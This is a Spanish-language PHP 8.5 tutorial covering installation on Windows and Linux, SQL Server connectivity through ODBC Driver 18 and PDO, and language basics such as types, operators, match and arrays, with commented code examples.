Índice del curso

PHP 8.5 desde cero hasta experto

Manual secuencial del lenguaje que impulsa la web: instalación en Windows y Linux, base de datos SQL Server con ODBC Driver 18, programación orientada a objetos, tareas pesadas delegadas a la línea de comandos, seguridad web y una API REST final construida sin framework.

42 capítulos PHP 8.5.x Web · CLI · SQL Server Modo claro / oscuro Optimizado para móvil
42
Capítulos
150+
Ejemplos de código
3
Niveles: básico a experto
0
Requisitos previos
Cómo usar este tutorial: sigue los capítulos en orden (el índice está en el menú si lees desde el móvil). Cada capítulo tiene teoría, ejemplos ejecutables en CLI y web, y puntos clave al cierre. El índice crece conforme se publican las tandas de capítulos.

1 · Qué es PHP y por qué la versión 8.5

Básico ~12 min

PHP es un lenguaje interpretado creado en 1994 por Rasmus Lerdorf para producir páginas dinámicas. Hoy impulsa buena parte del backend de la web y funciona también como lenguaje generalista de línea de comandos. En este manual lo usaremos como lo usan los equipos profesionales: tipos estrictos, objetos, namespaces y pruebas.

  • Entender qué hace el intérprete y quién puede invocarlo.
  • Distinguir el modo web del modo CLI (concepto de SAPI).
  • Ubicar PHP 8.5 dentro de la línea 8.x.
  • Conocer las novedades estrella que este manual cubrirá.

Un intérprete, varios modos de ejecución (SAPI)

El binario php es uno solo; lo que cambia es quién lo invoca. A esa interfaz se le llama SAPI y puedes consultarla en cualquier momento:

<?php
// ¿En qué modo me estoy ejecutando?
echo php_sapi_name(), PHP_EOL;
SAPI devueltaQuién la usaPara qué
cliLa terminal, tareas programadasScripts, workers, procesos largos
cli-serverEl servidor embebido php -SDesarrollo rápido sin instalar nada más
fpm-fcgiNginx o Apache con PHP-FPMServidores web en producción
apache2handlerApache con mod_phpAlojamiento clásico compartido

Esta distinción no es un detalle menor: en la Parte VI la usaremos para que un mismo archivo comporte distinto cuando lo corre una persona en la terminal y cuando lo invoca una petición web.

Primer contacto: el mismo código en dos mundos

<?php
// hola.php — mi primer programa
declare(strict_types=1);

$nombre = 'Percy';
echo "Hola, {$nombre}. Bienvenido a PHP " . PHP_VERSION . PHP_EOL;
Hola, Percy. Bienvenido a PHP 8.5.1
# Como script de línea de comandos: php hola.php # Como servidor web de desarrollo (Ctrl+C detiene): php -S localhost:8000

La línea 8.x en un vistazo

VersiónAportes recordados en este curso
8.0JIT, tipos union, argumentos nombrados, match, promoción de propiedades
8.1enums, propiedades readonly, fibers, callables de primera clase
8.2Clases readonly, tipos DNF, tipos true/false/null independientes
8.3Constantes de clase tipadas, json_validate(), atributo #[\Override]
8.4Hooks de propiedad, visibilidad asimétrica, new sin paréntesis encadenables
8.5Operador pipe |>, clone() con valores, #[\NoDiscard], extensión URI

Las novedades estrella de PHP 8.5

  • Operador pipe |>: encadena funciones de izquierda a derecha sin variables intermedias.
  • clone($objeto, [propiedad => valor]): clona y modifica en un paso, ideal con clases readonly.
  • Atributo #[\NoDiscard] y cast (void): avisa cuando se ignora un valor de retorno importante.
  • Extensión URI: análisis de URLs conforme a RFC 3986 y WHATWG URL, integrado al núcleo.
  • array_first() / array_last(): primer y último elemento con null si está vacío.
  • Errores fatales con backtrace: los «maximum execution time» ya cuentan rastro completo.
  • cURL persistente compartido: reutiliza conexiones entre peticiones del mismo proceso servidor.
Cobertura realista: un curso «desde cero» exige la base completa, así que estudiaremos también lo esencial de 8.1 a 8.4 (enums, readonly, hooks). El capítulo 23 concentra específicamente lo nuevo de 8.5.
Antes de seguir: ejecuta php -v. Todo este manual asume 8.5.x; con 8.4 o menor algunos ejemplos fallarán.

Puntos clave

  • PHP corre en dos mundos: peticiones web (FPM/Apache) y terminal (cli).
  • La SAPI identifica el modo; cli-server es solo desarrollo.
  • 8.5 aporta ergonomía funcional (pipe, clone) y utilidades pedidas desde hace años.
  • Verifica siempre tu versión antes de ejecutar los ejemplos.

2 · Instalación en Windows: paquete oficial y TS frente a NTS

Básico ~15 min

En Windows usaremos el paquete individual oficial: un ZIP que contiene el intérprete y las extensiones. Da control total sobre versión, modo (TS/NTS) y ubicación, sin dependencias de terceros.

  • Descargar y desplegar el ZIP oficial en una ruta limpia.
  • Elegir correctamente entre Thread Safe y Non Thread Safe.
  • Preparar el php.ini de trabajo.
  • Agregar PHP al PATH y verificar la instalación.

Paso 1 · Descargar el paquete adecuado

Ingresa a windows.php.net/download y descarga el ZIP «VS16 x64» (o superior) Non Thread Safe, salvo el caso del recuadro siguiente. Descomprímelo en una carpeta sin espacios:

# Carpeta recomendada para convivir con futuras versiones: C:\PHP\8.5\

Paso 2 · La decisión importante: TS o NTS

Thread Safe (TS) compila el intérprete con Zend Thread Safety: varios hilos de un mismo proceso pueden ejecutar scripts en paralelo, pagando un costo por candados. Non Thread Safe (NTS) elimina esa maquinaria porque asume un proceso por petición o ejecución.

CriterioThread Safe (TS)Non Thread Safe (NTS)
Mecanismo internoCandados por hilo (ZTS)Sin candados
Servidor típicoApache con mod_phpIIS/FastCGI, FPM, embebido
Línea de comandosFunciona, sin beneficioPreferido
Rendimiento webMenor (costo de sincronización)Mejor
DLL de extensionesDeben ser _ts_Deben ser _nts_
Regla de oro: tu elección debe coincidir en TODO: binario php y cada DLL de extensión (incluidas las de SQL Server del capítulo 4). Mezclar TS con NTS produce errores al cargar extensiones como «unable to initialize module».
  • ¿Usas Apache con mod_php? Elige TS.
  • ¿Todo lo demás (IIS FastCGI, CLI, servidor embebido)? Elige NTS.
  • Este manual asume NTS; los comandos lo indican si difiere.

Paso 3 · Preparar el php.ini

cd C:\PHP\8.5 copy php.ini-development php.ini

Edita php.ini y deja así estas líneas (retira el punto y coma inicial donde corresponda):

extension_dir = "ext" extension=curl extension=mbstring extension=openssl

Paso 4 · Agregar PHP al PATH

Abre «Editar las variables de entorno del sistema» → Variables de entorno → Path → Nueva → C:\PHP\8.5. Hazlo desde el editor gráfico, no desde consola.

Evita setx PATH ...: trunca el PATH cuando supera 1024 caracteres y puede dejarte herramientas inaccesibles. El editor gráfico no tiene ese límite.

Paso 5 · Verificar

:: Abre una terminal NUEVA para recargar el PATH php -v php --ini
PHP 8.5.1 (cli) (built: Nov .. 2025 ..) Zend Engine v4.5 ... Configuration File (php.ini) Path: C:\PHP\8.5 Loaded Configuration File: C:\PHP\8.5\php.ini

El servidor embebido para desarrollo

cd C:\proyectos\demo php -S localhost:8000 -t public

Con -t eliges la raíz de documentos. Abre http://localhost:8000 y detén con Ctrl+C.

El servidor embebido es de un solo hilo y sin endurecimiento: excelente para desarrollar, prohibido para producción.

Son válidos para levantar un entorno completo rápido, pero empaquetan Apache, MySQL y más de lo que este curso necesita. Con el paquete individual controlas exactamente qué se instala y puedes convivir varias versiones de PHP cambiando una sola carpeta del PATH.

Puntos clave

  • ZIP oficial = control total de versión, modo y ubicación.
  • NTS para CLI y FastCGI; TS solo si usas Apache mod_php.
  • Binario y extensiones deben compartir el mismo modo TS/NTS.
  • php.ini-development es el punto de partida; renómbralo y ajusta extensiones.

3 · Instalación en Linux con el PPA de Ondřej

Básico ~10 min

Ubuntu y Debian entregan versiones de PHP con retraso respecto al calendario oficial. El PPA de Ondřej Surý (ppa:ondrej/php) es el estándar de facto para tener versiones recientes, mantenerlas actualizadas y convivir varias versiones en la misma máquina.

  • Agregar el PPA e instalar PHP 8.5 CLI y extensiones base.
  • Localizar los archivos de configuración por SAPI.
  • Alternar entre varias versiones instaladas.
  • Saber qué NO incluye el PPA (anticipo del capítulo 4).

Agregar el PPA e instalar (Ubuntu)

sudo add-apt-repository ppa:ondrej/php -y sudo apt update # Intérprete + extensiones que este manual sí o sí usará: sudo apt install -y php8.5-cli php8.5-common \ php8.5-mbstring php8.5-xml php8.5-curl \ php8.5-intl php8.5-opcache php8.5-readline

Verificar y ubicar la configuración

php -v php --ini ls /etc/php/8.5/
PHP 8.5.1 (cli) ... /etc/php/8.5/cli/php.ini <- ini del modo terminal /etc/php/8.5/apache2/php.ini <- solo si instalaste mod_php /etc/php/8.5/fpm/php.ini <- solo si instalaste FPM

Cada SAPI tiene su propio php.ini: un ajuste hecho en cli/ no afecta a la web ni viceversa. Recuerda esto cuando en capítulos posteriores cambiemos memoria o tiempo límite.

Convivencia de versiones

# ¿Qué versiones hay registradas? update-alternatives --list php # Fijar 8.5 como predeterminada del comando "php": sudo update-alternatives --set php /usr/bin/php8.5

Debian puro: repositorio Sury

curl -sSL https://packages.sury.org/php/apt.gpg \ | sudo tee /usr/share/keyrings/sury-php.gpg > /dev/null echo "deb [signed-by=/usr/share/keyrings/sury-php.gpg] https://packages.sury.org/php/ $(lsb_release -sc) main" \ | sudo tee /etc/apt/sources.list.d/php.list sudo apt update sudo apt install -y php8.5-cli
El PPA no incluye sqlsrv: las extensiones de SQL Server de Microsoft tienen una licencia que impide redistribuirlas en repositorios de terceros. Se compilan con PECL; lo haremos paso a paso en el capítulo 4.

Puntos clave

  • ppa:ondrej/php = versiones actuales y convivencia multi-versión.
  • Existe un php.ini por SAPI bajo /etc/php/8.5/.
  • update-alternatives decide qué versión responde al comando php.
  • sqlsrv/pdo_sqlsrv llegan por PECL, nunca por el PPA.

4 · SQL Server: ODBC Driver 18 y extensiones sqlsrv

Intermedio ~18 min

Conectaremos PHP a SQL Server Developer (edición gratuita y completa para desarrollo). La cadena de conexión tiene tres piezas y entenderlas ahorra horas de depuración.

  • Instalar el driver ODBC 18 (con referencia del 17).
  • Habilitar las extensiones PHP sqlsrv y pdo_sqlsrv en Windows y Linux.
  • Lograr la primera conexión PDO exitosa contra tu instancia local.

Arquitectura de la conexión

CapaPiezaDetalle crítico
1 · Extensión PHPpdo_sqlsrv / sqlsrvDebe coincidir con TU versión de PHP (8.5) y TU modo TS/NTS
2 · Driver ODBCmsodbcsql18Traduce a protocolo TDS; cifra por defecto
3 · ServidorSQL Server DeveloperInstancia local, autenticación mixta activada

Paso A · Instalar el ODBC Driver 18

Windows: descarga e instala «Microsoft ODBC Driver 18 for SQL Server (x64)» desde la página oficial de Microsoft (instalador MSI, siguiente → siguiente). No requiere configuración adicional.

Ubuntu: agrega el repositorio oficial de Microsoft:

curl -fsSL https://packages.microsoft.com/config/ubuntu/$(lsb_release -rs)/prod.list \ | sudo tee /etc/apt/sources.list.d/mssql-release.list > /dev/null sudo apt update sudo ACCEPT_EULA=Y sudo apt install -y msodbcsql18
Driver 17 como referencia: si un proyecto heredado lo exige, instala msodbcsql17 con los mismos pasos. La diferencia que importa está en la tabla siguiente.

Driver 17 frente a Driver 18: el cifrado

AspectoDriver 17Driver 18
Cifrado TLS por defectoOpcional (Encrypt=no)Obligatorio (Encrypt=yes)
Certificado autofirmado localConectaba sin pasos extraExige TrustServerCertificate=1 o Encrypt=no
Uso recomendadoSolo compatibilidad heredadaToda instalación nueva

Esa política del 18 es la causa número uno del error «SSL Provider: The certificate chain was not issued by an authority that is trusted» cuando conectas a tu propio SQL Server Developer sin certificado comercial.

Paso B · Extensiones PHP en Windows

  1. Descarga de GitHub (microsoft/msphpsql, sección Releases) el paquete de drivers para PHP 8.5 con tu combinación: nts x64 (o ts x64 según el capítulo 2).
  2. Copia los dos DLL indicados a C:\PHP\8.5\ext\.
  3. Añade las líneas al final de tu php.ini.
; php.ini — ajusta ts/nts segun tu instalacion del capitulo 2 extension=php_sqlsrv_85_nts_x64.dll extension=php_pdo_sqlsrv_85_nts_x64.dll

Paso B · Extensiones PHP en Linux (PECL)

# Herramientas de compilacion + cabeceras ODBC sudo apt install -y php8.5-dev php-pear unixodbc-dev build-essential # Compila ambos drivers (toma unos minutos) sudo pecl install sqlsrv pdo_sqlsrv # Regístralos como módulos de la SAPI cli (y fpm/apache si existieran) printf 'extension=sqlsrv.so\n' | sudo tee /etc/php/8.5/mods-available/sqlsrv.ini printf 'extension=pdo_sqlsrv.so\n' | sudo tee /etc/php/8.5/mods-available/pdo_sqlsrv.ini sudo phpenmod -v 8.5 sqlsrv pdo_sqlsrv
# Verificacion en AMBOS sistemas operativos: php -m | findstr /i "sql" :: Windows php -m | grep -i sqlsrv # Linux
pdo_sqlsrv sqlsrv

Paso C · Base de datos y primera conexión

Crea la base de trabajo una sola vez (SSMS o consola):

sqlcmd -S localhost\SQLEXPRESS -U sa -P "TuClaveSegura2026#" ^ -Q "CREATE DATABASE TutorialPHP"
<?php
// prueba_sqlserver.php
declare(strict_types=1);

$dsn = 'sqlsrv:Server=localhost\SQLEXPRESS;'
     . 'Database=TutorialPHP;'
     . 'Driver={ODBC Driver 18 for SQL Server};'
     . 'TrustServerCertificate=1';  // imprescindible con Driver 18 en local

$opciones = [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
];

try {
    $pdo = new PDO($dsn, 'sa', 'TuClaveSegura2026#', $opciones);
    $version = $pdo->query('SELECT @@VERSION')->fetchColumn();
    echo substr((string) $version, 0, 60), PHP_EOL;
} catch (PDOException $e) {
    echo 'Fallo de conexion: ', $e->getMessage(), PHP_EOL;
}
Microsoft SQL Server 2022 (RTM-CU14) - Developer Edition (64-bit) ...

Formatos del servidor en el DSN: IP, puerto e instancia

Formato en Server=Cuándo usarloRequisito extra
localhost\SQLEXPRESSInstancia nombrada local (típica de Developer/Express)Ninguno
192.168.1.50,1433Servidor remoto o contenedor DockerTCP/IP habilitado y firewall abierto
10.0.0.8\DESARROLLOVarias instancias en un mismo servidorServicio SQL Browser (UDP 1434)
srv-sql.empresa.localRed corporativa con DNS internoResolución de nombres correcta
Coma para puerto, barra invertida para instancia: IP,puerto conecta directo por TCP; servidor\instancia pregunta al SQL Browser cuál puerto dinámico usa esa instancia.

Conexión por IP con credenciales dedicadas

<?php
// conexion_remota.php
declare(strict_types=1);

$opciones = [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
];

// Servidor remoto por IP y puerto (misma sintaxis para Docker):
$dsn = 'sqlsrv:Server=192.168.1.50,1433;'
     . 'Database=TutorialPHP;'
     . 'Driver={ODBC Driver 18 for SQL Server};'
     . 'TrustServerCertificate=1';      // red de desarrollo, sin CA propia

$pdo = new PDO($dsn, 'usuario_app', 'ClaveApp2026#', $opciones);
echo $pdo->query('SELECT DB_NAME()')->fetchColumn(), PHP_EOL;
TutorialPHP

Las credenciales viajan como segundo y tercer argumento de new PDO(). En lugar de usar sa, crea un acceso exclusivo para la aplicación:

-- Ejecutar en SSMS o con sqlcmd contra el servidor remoto: CREATE LOGIN usuario_app WITH PASSWORD = 'ClaveApp2026#'; GO USE TutorialPHP; CREATE USER usuario_app FOR LOGIN usuario_app; ALTER ROLE db_datareader ADD MEMBER usuario_app; ALTER ROLE db_datawriter ADD MEMBER usuario_app;
  • db_datareader y db_datawriter cubren consultas y escritura sin otorgar administración.
  • En producción las credenciales viven en variables de entorno, jamás en el repositorio.
  • Si el tráfico cruza Internet, sustituye TrustServerCertificate=1 por un certificado real y cifrado completo (Encrypt=yes, que el Driver 18 ya exige).
Si instalaste SQL Server por Docker, el servidor es localhost,1433 (coma, no barra invertida) en el DSN.

Errores típicos y su lectura correcta

MensajeCausa real
could not find driverLa extensión PHP no está cargada: revisa php -m y el ini correcto
Can't open lib 'ODBC Driver 18 ...'El nombre entre llaves no coincide exactamente o el driver ODBC no está instalado
SSL Provider: certificate ... not trustedFalta TrustServerCertificate=1 (política del Driver 18)
Login failed for user 'sa'Autenticación mixta deshabilitada en el servidor o contraseña incorrecta

docker run -e ACCEPT_EULA=Y -e MSSQL_SA_PASSWORD=TuClaveSegura2026# \ -p 1433:1433 --name sqldev \ mcr.microsoft.com/mssql/server:2022-latest # DSN correspondiente: Server=localhost,1433
Ventaja: entorno desechable idéntico al de integración continua.

Puntos clave

  • Tres capas: extensión PHP → driver ODBC → servidor TDS.
  • Driver 18 cifra por defecto: usa TrustServerCertificate=1 en desarrollo.
  • Las DLL deben respetar tu modo TS/NTS y tu versión 8.5.
  • En Linux, PECL compila; el PPA de Ondřej nunca incluirá sqlsrv.
  • Verifica SIEMPRE con php -m antes de culpar al código.

5 · Anatomía de un script: etiquetas, variables y tipos

Básico ~12 min

Todo archivo PHP del curso seguirá la misma estructura mínima. Dominarla evita los errores más tontos y los más caros (como un espacio accidental antes del HTML).

Etiquetas PHP y el cierre opcional

<?php
// Todo lo que este archivo contiene es codigo: SIN cierre ?>

// El cierre ?> solo se usa en archivos que MEZCLAN PHP con HTML:
// <p>Hola <?= $nombre ?></p>   (atajo de echo con = )
  • Apertura obligatoria <?php.
  • En archivos de solo código, omite el cierre: previene espacios en blanco accidentales que rompen cabeceras HTTP.

Instrucciones, variables y tipos escalares

<?php
declare(strict_types=1);

$edad = 34;            // int
$precio = 19.90;       // float
$nombre = 'Percy';     // string
$activo = true;        // bool

var_dump($edad, $precio);
echo gettype($nombre), PHP_EOL;
int(34) float(19.9) string
TipoEjemplo literalNota importante
int42, -7, 1_000_00064 bits con signo
float3.14, 1.2e4Aritmética binaria: 0.1+0.2 !== 0.3
string'texto', "con $var"Simples no interpolan; dobles sí
booltrue, falseInsensible a mayúsculas

Constantes y constantes mágicas

<?php
declare(strict_types=1);

const IVA = 0.18;                       // tiempo de compilacion: preferida
define('VERSION_API', 'v1');           // util si depende de algo en runtime

echo IVA, ' ', VERSION_API, PHP_EOL;
echo 'Estoy en la linea ', __LINE__, ' de ', basename(__FILE__), PHP_EOL;
echo MiClase::class, PHP_EOL;          // nombre de clase como texto

class MiClase {}
0.18 v1 Estoy en la linea 10 de demo.php MiClase

Otras mágicas útiles: __FILE__, __DIR__, __FUNCTION__, __METHOD__.

Salida por pantalla: cuál usar cuándo

<?php
declare(strict_types=1);

$carrito = ['cafe' => 2, 'te' => 1];

echo "Interpolacion: {$carrito['cafe']} cafes\n";  // dobles interpolan
print 'print es casi igual que echo' . PHP_EOL;    // concatenacion con .
printf("Total: %.2f\n", 18.5);                     // formato tipo C

var_dump($carrito);   // depuracion: tipos Y valores exactos
print_r($carrito);    // lectura rapida para humanos

Cadenas multilínea: heredoc y nowdoc

<?php
$sql = <<<SQL
SELECT id, cliente
FROM pedidos
WHERE estado = 'PENDIENTE'
SQL;                     // heredoc: interpola variables

$plantilla = <<<'TXT'
Hola {$nombre}          // nowdoc: texto literal, NO interpola
TXT;

strict_types en profundidad: alcance real y bondades

Se declara por archivo, como primera instrucción tras la etiqueta de apertura (solo comentarios pueden precederla). La declaración no se hereda: cada archivo decide cómo evaluar las conversiones en las llamadas que ese propio archivo realiza hacia funciones y métodos.

No existe configuración global. Ni php.ini ni .htaccess pueden activarla para todo el proyecto: es una decisión deliberada del lenguaje. Si una biblioteca pudiera imponer el modo estricto de forma global, rompería el código de sus consumidores; con la regla por archivo, quien escribe la llamada elige.

Para aplicar el estándar en un proyecto entero sin editar miles de archivos a mano, se automatiza con herramientas:

# PHP Coding Standards Fixer agrega la declaracion a TODOS los .php del proyecto: composer require --dev friendsofphp/php-cs-fixer vendor/bin/php-cs-fixer fix src --rules=declare_strict_types

Bondades que justifican la disciplina:

  • Fallo rápido y en el lugar correcto: el TypeError señala la línea donde entró el dato erróneo, no tres capas más abajo.
  • Contratos vivos: la firma dice exactamente qué acepta y qué devuelve; la documentación no puede quedarse vieja.
  • Análisis estático potente: PHPStan, Psalm y el IDE detectan el error antes de ejecutar nada.
  • Adiós a la corrupción silenciosa: '5 manzanas' ya no se vuelve 5 ni un float se trunca sin aviso.
  • Costo nulo en rendimiento: solo verifica firmas al momento de la llamada.
Límite importante: strict_types valida firmas internas, NO datos externos. Lo que llega de formularios, JSON o bases de datos siempre es texto y debe validarse en el borde (caps. 33 y 36).

Puntos clave

  • Archivos de solo código: apertura sin cierre.
  • Cuatro escalares: int, float, string, bool; var_dump() para verlos con precisión.
  • const preferida sobre define().
  • Dobles interpolan, simples no; nowdoc para texto crudo.
  • strict_types=1: primera línea, siempre.

6 · Operadores y comparaciones sin sorpresas

Básico ~14 min

PHP tiene operadores para todo; el riesgo no está en conocerlos sino en usar el relajado (==) donde correspondía el estricto (===). Este capítulo fija las reglas que el resto del manual dará por sentadas.

Aritméticos

<?php
declare(strict_types=1);

echo 7 + 2, ' ', 7 % 3, ' ', 7 ** 2, PHP_EOL;
echo intdiv(7, 2), PHP_EOL;   // division entera explicita: 3
echo 7 / 2, PHP_EOL;          // division real: 3.5
9 1 49 3 3.5
  • El signo del resto % sigue al dividendo: -7 % 3 === -1.
  • / devuelve float salvo división exacta entre enteros.

Asignación compuesta

<?php
$total = 100;
$total += 50;   // 150
$total **= 2;   // 40000

$csv = 'id,nombre';
$csv .= ',telefono';    // concatenar y asignar

$pagina = null;
$pagina ??= 1;          // solo asigna si era null

Comparación estricta frente a relajada

ExpresiónResultadoLectura correcta
'10' == 10trueCadena numérica se convierte a número
'10' === '10'trueMismo tipo y mismo valor
0 == 'php'falseDesde PHP 8 la cadena no numérica ya NO se vuelve 0
'' == nulltrueAmbos «vacíos»: trampa clásica
null === falsefalseTipos distintos, nunca iguales con ===
<?php
declare(strict_types=1);

var_dump('10' == 10, '10' === '10', '' == null);
// Regla del curso: === y !== por defecto.
// == SOLO cuando la comparacion laxa es intencional (p. ej. entrada de formularios).
bool(true) bool(true) bool(true)

La nave espacial <=>

Compara dos valores y devuelve -1, 0 o 1. Es el corazón de los ordenamientos:

<?php
declare(strict_types=1);

$productos = [
    ['nombre' => 'Teclado', 'precio' => 120],
    ['nombre' => 'Cable',   'precio' => 15],
    ['nombre' => 'Monitor', 'precio' => 480],
];

usort($productos, fn(array $a, array $b): int => $a['precio'] <=> $b['precio']);

foreach ($productos as $p) {
    echo $p['nombre'], ': ', $p['precio'], PHP_EOL;
}
Cable: 15 Teclado: 120 Monitor: 480

Lógicos y la trampa de precedencia

<?php
$sesionIniciada = false;

// TRAMPA: "or" tiene precedencia MENOR que "="
$modoDebug = false or true;    // $modoDebug vale false!

// Correcto:
$modoDebug = false || true;    // true
  • Usa &&, ||, !: precedencia intuitiva.
  • Reserva and/or para frases idiomáticas de una línea (fallo() or exit();).

Fusión de null: ?? frente a ?:

<?php
$_GET['orden'] = '';

$a = $_GET['orden'] ?? 'asc';   // ?? : '' EXISTE, lo respeta -> ''
$b = $_GET['orden'] ?: 'asc';   // ?: : '' es falsy, lo reemplaza -> 'asc'

echo $a, ' / ', $b, PHP_EOL;
/ asc

Regla práctica: valor por defecto ante ausencia real usa ??; normalizar «vacío equivale a X» usa ?:. Confundirlos produce bugs silenciosos en formularios.

Puntos clave

  • Estricto === por defecto; relajado == solo si es intencional.
  • <=> alimenta ordenamientos; memorízalo con usort().
  • &&/|| siempre sobre and/or.
  • ?? respeta lo existente aunque sea vacío; ?: reemplaza lo falsy.
  • intdiv() cuando la división debe ser entera a propósito.

7 · Control de flujo: if, switch, match y bucles

Básico ~14 min

PHP ofrece las estructuras clásicas más una joya moderna: la expresión match, que desde PHP 8.0 reemplaza a la mayoría de los switch con menos errores posibles.

  • Elegir entre if, switch y match con criterio.
  • Dominar los cuatro bucles y cuándo usar cada uno.
  • Evitar las trampas clásicas: asignación en condición y foreach por referencia.

if, elseif, else — y la sintaxis alternativa

<?php
declare(strict_types=1);

$stock = 0;

if ($stock > 10) {
    echo 'Disponible';
} elseif ($stock > 0) {
    echo 'Ultimas unidades';
} else {
    echo 'Agotado';
}

// Sintaxis alternativa: ideal dentro de plantillas HTML
?>
<?php if ($stock === 0): ?>
  <p class="text-danger">Sin stock</p>
<?php endif; ?>

match: el switch moderno

<?php
declare(strict_types=1);

// Escala peruana de notas (0 a 20)
$nota = 16;

$mensaje = match (true) {
    $nota >= 18 => 'Sobresaliente',
    $nota >= 11 => 'Aprobado',
    $nota >= 0  => 'Desaprobado',
    default     => 'Nota invalida',
};

echo $mensaje, PHP_EOL;

// match tambien compara valores directos, con varias condiciones por brazo:
$tipoComida = 'ceviche';
$categoria  = match ($tipoComida) {
    'ceviche', 'tiradito' => 'marino',
    'aji de gallina'      => 'criollo',
    default               => 'otro',
};
echo $categoria, PHP_EOL;
Aprobado marino

switch clásico: la referencia para comparar

<?php
declare(strict_types=1);

$medioPago = 'yape';

switch ($medioPago) {
    case 'efectivo':
        $comision = 0;
        break;
    case 'tarjeta':
        $comision = 0.035;
        break;
    case 'yape':
    case 'plin':                    // casos apilados: comparten el bloque
        $comision = 0.0085;
        break;
    default:
        throw new InvalidArgumentException('Medio no soportado');
}

echo 'Comision: ', $comision * 100, '%', PHP_EOL;
Comision: 0.85%

Rangos por opcion: switch(true) frente a match(true)

Ninguno de los dos tiene sintaxis nativa de rango; el patron idiomático compara contra true:

<?php
 declare(strict_types=1);

$edad = 15;

// switch(true): cada case ES una condicion booleana
$categoriaSwitch = '';
switch (true) {
    case $edad >= 18:
        $categoriaSwitch = 'adulto';
        break;
    case $edad >= 12:
        $categoriaSwitch = 'adolescente';
        break;
    default:
        $categoriaSwitch = 'nino';
}

// match(true): misma idea, sin breaks y con retorno directo
$categoriaMatch = match (true) {
    $edad >= 18 => 'adulto',
    $edad >= 12 => 'adolescente',
    default     => 'nino',
};

echo "$categoriaSwitch / $categoriaMatch", PHP_EOL;
adolescente / adolescente
  • En switch(true), olvidar un break hace caer la ejecución al siguiente rango: bug silencioso clásico.
  • match(true) retorna en la primera coincidencia: imposible que «caiga» a otro brazo.
  • Valores discretos múltiples: match los agrupa con coma ('yape', 'plin' =>); switch apila casos vacíos.
Aspectoswitchmatch
ComparaciónLaxa (==)Estricta (===)
Fall-throughSí, si olvidas breakImposible
ResultadoSolo efectos secundariosDevuelve un valor
Sin coincidenciaNo pasa nadaLanza UnhandledMatchError
Varios casos → una acciónCasos apiladosCondiciones separadas por coma
Novedad 8.5: terminar un case con punto y coma en lugar de dos puntos quedó oficialmente deprecado. Escribe siempre case 'x': con dos puntos.

Los cuatro bucles

<?php
declare(strict_types=1);

// while: repite MIENTRAS la condicion sea verdadera (puede no ejecutarse)
$i = 1;
while ($i <= 3) {
    echo $i++;
}
echo PHP_EOL;

// do-while: ejecuta AL MENOS una vez
do {
    $tecla = random_int(1, 6);
} while ($tecla !== 6);
echo "Sali con un $tecla", PHP_EOL;

// for: cuando conoces la cantidad de iteraciones
for ($j = 0; $j < 3; $j++) {
    echo "vuelta $j ";
}
echo PHP_EOL;

// foreach: LA forma de recorrer arrays
$precios = ['cafe' => 12.5, 'te' => 8.0];
foreach ($precios as $producto => $precio) {
    echo "$producto cuesta $precio\n";
}
123 Sali con un 6 vuelta 0 vuelta 1 vuelta 2 cafe cuesta 12.5 te cuesta 8

break, continue y sus niveles

<?php
declare(strict_types=1);

foreach ([1, 5, 9] as $fila) {
    foreach ([2, 4, 6] as $col) {
        if ($col === 4) {
            continue;         // salta SOLO esta vuelta interna
        }
        if ($fila * $col > 30) {
            break 2;          // sale de AMBOS bucles
        }
        echo $fila * $col, ' ';
    }
}
echo PHP_EOL;
2 6 10
Foreach por referencia: después de foreach ($arr as &$v) {} la variable $v SIGUE apuntando al último elemento. Si luego escribes $v = algo corrompes el array sin darte cuenta. Libera siempre con unset($v) tras el bucle.

Puntos clave

  • Para elegir valores usa match; guarda switch para legado.
  • foreach es el bucle por defecto sobre colecciones.
  • break 2/continue 2 controlan bucles anidados.
  • Referencias en foreach: solo con unset() posterior.
  • Sintaxis alternativa if(): endif; para mezclar con HTML.

8 · Arrays y sus funciones esenciales

Intermedio ~16 min

El array de PHP es la estructura de datos universal: lista, diccionario, pila y cola a la vez. El 80 por ciento del trabajo diario con datos pasa por dominar un puñado de funciones que este capítulo organiza por intención.

Creación y reglas de claves

<?php
declare(strict_types=1);

$indexado    = ['a', 'b', 'c'];                 // claves 0,1,2 automaticas
$asociativo   = ['nombre' => 'Percy', 'rol' => 'backend'];
$multidimen   = ['pedidos' => [['id' => 1], ['id' => 2]]];

// Reglas de clave que conviene memorizar:
$trampas = [
    '5'     => 'x',    // clave int 5 (cadena numerica pura se convierte)
    true    => 'y',    // clave int 1
    '08'    => 'z',    // sigue siendo string: NO es numerica pura
];
var_dump(array_keys($trampas));
array(3) { [0]=> int(5) [1]=> int(1) [2]=> string(2) "08" }

Leer, escribir y comprobar

<?php
declare(strict_types=1);

$config = ['debug' => false];

$config['idioma'] = 'es';                    // agregar / sobrescribir

// isset vs ?? : isset devuelve false si el valor ES null
var_dump(isset($config['debug']), $config['timeout'] ?? 30);

// Busquedas: SIEMPRE con tercer argumento estricto
$roles = ['admin', 'editor'];
var_dump(in_array('Admin', $roles), in_array('Admin', $roles, true));
var_dump(array_search('editor', $roles, true));
bool(true) int(30) bool(true) bool(false) int(1)

El trío transformador: map, filter, reduce

<?php
declare(strict_types=1);

$ventas = [
    ['producto' => 'Teclado', 'monto' => 120.0],
    ['producto' => 'Cable',   'monto' => 15.5],
    ['producto' => 'Monitor', 'monto' => 480.0],
];

$nombres = array_map(fn(array $v): string => $v['producto'], $ventas);
print_r($nombres);

$mayores = array_filter($ventas, fn(array $v): bool => $v['monto'] >= 100);
echo count($mayores), " ventas grandes\n";

$total = array_reduce(
    $ventas,
    fn(float $acum, array $v): float => $acum + $v['monto'],
    0.0
);
printf("Total: %.2f\n", $total);
Array ( [0] => Teclado [1] => Cable [2] => Monitor ) 2 ventas grandes Total: 615.50

Novedad 8.5: array_first() y array_last()

<?php
declare(strict_types=1);

$eventos = [];          // puede llegar vacio de la base de datos

// Antes de 8.5:
$ultimoViejo = $eventos === [] ? null : $eventos[array_key_last($eventos)];

// Desde 8.5:
$primero = array_first($eventos) ?? 'sin eventos';
$ultimo  = array_last($eventos)  ?? 'sin eventos';

echo $primero, ' | ', $ultimo, PHP_EOL;
sin eventos | sin eventos
  • Devuelven valor, no clave; con arrays vacíos devuelven null: combinables con ??.
  • Sustituyen los antiguos bailes de reset(), end() y array_key_first().

Ordenamiento: elegir la función correcta

FunciónOrdenaMantiene clavesCriterio propio
sort() / rsort()ValoresNo (renumera)No
asort() / arsort()ValoresNo
ksort() / krsort()ClavesNo
usort() / uasort() / uksort()Libreuasort síSí, con callback + <=>
